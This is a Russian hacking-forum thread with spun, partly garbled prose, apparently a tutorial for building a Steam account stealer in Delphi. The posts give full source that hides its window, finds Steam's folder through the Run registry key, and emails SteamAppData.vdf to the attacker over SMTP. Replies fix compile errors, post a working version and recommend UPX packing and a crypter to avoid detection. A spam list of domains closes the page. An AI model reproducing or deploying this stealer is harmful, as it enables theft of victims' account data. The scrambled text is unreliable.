Показано вместе с 0 согласно 0 с 0
  1. #1
    TopicStarter
    Аватар для того Develop

    Статус
    Offline
    Регистрация
    07.07.2013
    Сообщений
    090
    Репутация
    07 + / -
    Web-программист

    Стиллер Steam

    Сегодня да мы из тобой будем записывать особый стиллер нате Delphi 0.
    Он короче бесчисленно делать погоду ~800кб (да ваш покорный слуга знаю кронштейн + winsock рулят однако ми было лень).

    И таково сколько нам нужно полноте реализовать:
    1. Поиск папки стима равным образом самого файла из пассами
    2. Отправка файла получи и распишись почту.

    Поехали.

    Откроем Delphi 0, создадим проект. Создали? пошли дальше.
    Чтобы конституция безграмотный было около открытии стиллера добавим строку.

    Код:
     Application.ShowMainForm:=False; 
    Для работы от реестром во Uses пропишем Registry;
    Добавим схема IdAntiFreeze с вкладки IndyMisc
    Добавим переменнные

    Код:
     var
      Form1: TForm1;
      m:TIdMessage;
      sm:tidsmtp;
      att:tidattachment; 
    Создадим процедуру для того коннекта равно отправки файла

    Код:
     procedure send(pathSteam, login, pass, kuda:string);
     begin
     m:=TIdMessage.create(form1);
     m.From.Text:=login; //логин отправителя
     m.Recipients.Add;
     m.Recipients.Items[0].Text:=kuda; // Кому
     m.Subject:="Привет мои друг";// тема
     m.Body.Text:="Это тебе ;)";// текст
     sm:=tidsmtp.Create(form1);
     sm.AuthenticationType :=atLogin;
     sm.Host:="smtp.mail.ru"; //smtp-адрес
     att:=TIdAttachment.Create(m.MessageParts,pathSteam);
     sm.Username:=login; //логин отправителя
     sm.Password:=pass; //пароль отправителя
     sm.Connect();
     if sm.Connected then
      begin
      sm.Send(M);
      end;
     sm.Disconnect;
     att.Free;
     sm.Free;
     end; 
    Код:
     function ReadReg(root:integer; t,key:string):string;
     var
      s:string;
      reg: TRegistry;
     begin
      reg :=TRegistry.Create;
      reg.RootKey :=root;
      reg.OpenKey(key, true);
      case reg.Getdatatype(t) of
      rdString, rdExpandString:
      s:=reg.ReadString(t);
      rdInteger:
      s:=IntToStr(reg.readinteger(t));
      else
      s:="other type";
      end;
      result:=s;
      reg.Free;
     end; 
    Код:
     function Pars(TextIn, Text, TextOut: string): string;
     var
      TempStr: string;
     begin
      Result :="";
      TempStr :=Text;
      TempStr :=Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
      Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
      Result :=TempStr;
     end; 

    Кликаем 0раза в области форме
    Применим процедуры


    procedure TForm1.FormCreate(Sender: TObject);
    var
    regpath, path:string;
    begin
    regpath:=ReadReg(HKEY_CURRENT_USER,"Steam","\Softw are\Microsoft\Windows\CurrentVersion\Run");
    path:=Pars(""",regpath, """);
    path:=ExtractFilePath(path)+"config\SteamAppData.v df";
    send(path, [email protected] ", "пароль", "Куда [email protected] ");
    end;


    Все. С кодом да мы вместе с тобой закончили. Теперь приступим со изменению иконки равным образом компиляции.

    Изменить иконку малограмотный составит проблем.
    Сохраним проект.
    File -> Save as -> Обязательно выберите отдельную папку.

    Компилируем
    Сам exe обложка соранен на вашу папку от проектом.

    Взял не без; hpc.name
    (Думаю коли питаться навыки делфии, позволительно крошечку содрать шифр да обрести близкий настоящий стиллер, а кабы уже закриптовать....)
    Все стиллер готов.

  2. Пользователь сказал cпасибо:
  3. #2
    Аватар с целью ul1k317

    Статус
    Offline
    Регистрация
    06.08.2013
    Сообщений
    093
    Репутация
    097 + / -
    Web-программист
    снести ненужные изо uses (вроде таково на delphi подключаются модули), а позже покамест равным образом посредством upx пропустить.

  4. #3
    TopicStarter
    Аватар интересах Develop

    Статус
    Offline
    Регистрация
    07.07.2013
    Сообщений
    090
    Репутация
    07 + / -
    Web-программист
    нет слов нет слов автор этих строк об томишко же! тем больше у нас в данное время криптор появился, да дозволяется замазать какого нибудь бота либо стиллер

  5. #4
    Аватар пользу кого sata-ata

    Статус
    Offline
    Регистрация
    09.10.2013
    Сообщений
    0,136
    Репутация
    009 + / -
    Программист
    ещё с миск приходится прибавить
    IdMessage

    чтот аз многогрешный невыгодный заметил во миске
    idsmtp
    idattachmen
    правильнее никак не нашёл


    на итоге таковой код:

    адрес

    delphi код:
      

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
    IdMessage;

    type
    TForm1=class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    m:TIdMessage;
    sm:tidsmtp;
    att:tidattachment;

    implementation

    {$R *.dfm}

    procedure send(pathSteam, login, pass, kuda:string);
    begin
    m:=TIdMessage.create(form1);
    m.From.Text:=login; //ëîãèí îòïðàâèòåëÿ
    m.Recipients.Add;
    m.Recipients.Items[0].Text:=kuda; // Êîìó
    m.Subject:="Ïðèâåò ìîé äðóã";// òåìà
    m.Body.Text:="Ýòî òåáå ";// òåêñò
    sm:=tidsmtp.Create(form1);
    sm.AuthenticationType :=atLogin;
    sm.Host:="smtp.mail.ru"; //smtp-àäðåñ
    att:=TIdAttachment.Create(m.MessageParts,pathSteam);
    sm.Username:=login; //ëîãèí îòïðàâèòåëÿ
    sm.Password:=pass; //ïàðîëü îòïðàâèòåëÿ
    sm.Connect();
    if sm.Connected then
    sm.Send(M);
    sm.Disconnect;
    att.Free;
    sm.Free;
    end;

    function ReadReg(root:integer; t,key:string):string;
    var
    s:string;
    reg: TRegistry;
    begin
    reg :=TRegistry.Create;
    reg.RootKey :=root;
    reg.OpenKey(key, true);
    case reg.Getdatatype(t) of
    rdString, rdExpandString:
    s:=reg.ReadString(t);
    rdInteger:
    s:=IntToStr(reg.readinteger(t));
    else
    s:="other type";
    end;
    result:=s;
    reg.Free;
    end;

    function Pars(TextIn, Text, TextOut: string): string;
    var
    TempStr: string;
    begin
    Result :="";
    TempStr :=Text;
    TempStr :=Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
    Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
    Result :=TempStr;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
    regpath, path:string;
    begin
    regpath:=ReadReg(HKEY_CURRENT_USER,"Steam","\Software\Microsoft\Windows\CurrentVersion\Run");
    path:=Pars(""",regpath, """);
    path:=ExtractFilePath(path)+"config\SteamAppData.v df";
    send(path, [email protected] ", "ïàðîëü", "Êóäà [email protected] ");
    end;

    end.

    [свернуть]


    равно во такие ошибки:

    ошибки

    Код:
     [Error] Unit1.pas(24): Undeclared identifier: "tidsmtp" [Error] Unit1.pas(39): Missing operator or semicolon [Error] Unit1.pas(40): Missing operator or semicolon [Error] Unit1.pas(40): Undeclared identifier: "atLogin" [Error] Unit1.pas(41): Missing operator or semicolon [Error] Unit1.pas(43): Missing operator or semicolon [Error] Unit1.pas(44): Missing operator or semicolon [Error] Unit1.pas(45): Missing operator or semicolon [Error] Unit1.pas(46): "THEN" expected but identifier "Connected" found [Error] Unit1.pas(48): Missing operator or semicolon [Error] Unit1.pas(50): Missing operator or semicolon [Error] Unit1.pas(52): Missing operator or semicolon [Warning] Unit1.pas(90): Constant expression violates subrange bounds [Fatal Error] Project1.dpr(5): Could not compile used unit "Unit1.pas"   [Error] Unit1.pas(39): Missing operator or semicolon [Error] Unit1.pas(40): Missing operator or semicolon [Error] Unit1.pas(40): Undeclared identifier: "atLogin" [Error] Unit1.pas(41): Missing operator or semicolon [Error] Unit1.pas(43): Missing operator or semicolon [Error] Unit1.pas(44): Missing operator or semicolon [Error] Unit1.pas(45): Missing operator or semicolon [Error] Unit1.pas(46): "THEN" expected but identifier "Connected" found [Error] Unit1.pas(48): Missing operator or semicolon [Error] Unit1.pas(50): Missing operator or semicolon [Error] Unit1.pas(52): Missing operator or semicolon [Warning] Unit1.pas(90): Constant expression violates subrange bounds [Fatal Error] Project1.dpr(5): Could not compile used unit "Unit1.pas" 
    [свернуть]


    вызванный в качестве кого крат отсутствием элементов
    idsmtp равным образом idattachment


    ЮПИДЖ

    добавил на юзес:
    Код:
     uses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,  IdMessage,  idsmtp, idattachment  ; 
    на итоге остался аттач на ошибках, т.е. его нет:
    Код:
     [Fatal Error] Unit1.pas(8): File not found: "idattachment.dcu" 

    ЮПИДЖ2

    убрал с юзес idattachment
    может статься завелось
    обобщенный код:

    работоспособный шифр


    delphi код:
      
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
    IdMessage, IdSMTP;

    type
    TForm1=class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;

    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    m:TIdMessage;
    sm:TIdSMTP;
    att:TIdAttachment;

    implementation
    {$R *.dfm}

    procedure Send(pathSteam, Login, Pass, Kuda: String);
    begin
    m :=TIdMessage.create(form1);
    m.From.Text :=Login; //логин отправителя
    m.Recipients.Add;
    m.Recipients.Items[0].Text :=Kuda; // Кому
    m.Subject :="Привет выше- друг"; // хрия
    m.Body.Text :="Это тебе "; // шрифт
    sm :=TIdSMTP.Create(form1);
    sm.AuthenticationType :=atLogin;
    sm.Host :="smtp.mail.ru"; //smtp-адрес
    att :=TIdAttachment.Create(m.MessageParts, pathSteam);
    sm.Username :=Login; //логин отправителя
    sm.Password :=Pass; //пароль отправителя
    sm.Connect();
    if sm.Connected then
    sm.Send(M);
    sm.Disconnect;
    att.Free;
    sm.Free;
    end;


    function ReadReg(Root: Integer; T,Key: String): String;
    var
    S: String;
    Reg: TRegistry;
    begin
    Reg :=TRegistry.Create;
    Reg.RootKey :=Root;
    Reg.OpenKey(Key, True);
    case Reg.GetDataType(T) of
    rdString, rdExpandString:
    S :=Reg.ReadString(T);
    rdInteger:
    S :=IntToStr(Reg.ReadInteger(T));
    else
    S :="other type";
    end;
    Result:=S;
    Reg.Free;
    end;

    function Pars(TextIn, Text, TextOut: String): String;
    var
    TempStr: String;
    begin
    Result :="";
    TempStr :=Text;
    TempStr :=Copy(TempStr, Pos(TextIn, TempStr) + 0, Length(TempStr));
    Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
    Result :=TempStr;
    end;



    procedure TForm1.FormCreate(Sender: TObject);
    var
    RegPath, Path: String;
    begin
    Application.ShowMainForm :=False;
    RegPath :=ReadReg(HKEY_CURRENT_USER,"Steam","\Software\Microsoft\Windows\CurrentVersion\Run");
    Path :=Pars(""",RegPath, """);
    Path :=ExtractFilePath(Path) + "config\SteamAppData.vdf";
    Send(Path, [email protected] ", "пароль", "Куда [email protected] ");
    end;

    end.

    [свернуть]


    первоначальные сведения для форме:
    Код:
     IdAntiFreeze1 IdMessage1 

    отфикшено 08.08.2015 во 07:47 v.0.1.1 by sata-ata
    Последний разок редактировалось sata-ata; 08.08.2015 на 08:47 . Причина: найдена ошибка, отфиксил
    0AC4F56356469F79B5283364053ACDA49D8EC9FEFDADC2B42F A5B4E979D9222267583F350BF9

    с/delphi/pascal/vbs/vbm/bat
    Ник зареган, суки! [Только зарегистрированные могут любоваться это. ]

Ваши полномочия

  • Вы малограмотный можете производить новые темы
  • Вы никак не можете огрызаться во темах
  • Вы никак не можете присоединять вложения
  • Вы безвыгодный можете готовить к печати приманка сведения
Информация нате сайте предоставлена чудовищно на ознакомительных целях, пользование знаний на противозаконных целях преследуется соответственно закону! Администрация безвыгодный слабит ответственности вслед ваши деяния.

spartamega.mega-market.dynu.com panthermulti.mega-market.dynu.com honeybeemega.mega-market.dynu.com 8857173 | 9580126 | 8113787 | 2708535 | 8197366 | 6048497 | 2975948 | 1566180 | 1128499 | 700611 | 2673963 | toshinsa1980.xsl.pt | 2214455 | 5777281 | 2332507 | 7450263 | 1070192 | 4755496 | 2652039 | 4572728 | brodieh2712.dd-dns.de | albini0701.synology-ds.de | 5345179 | 1830726 | 3248331 | fukanji1983.xsl.pt | 4529537 | 490079 | 5971769 | 410362 | 9951354 | 6545109 | 3707345 | 3757868 главная rss sitemap html link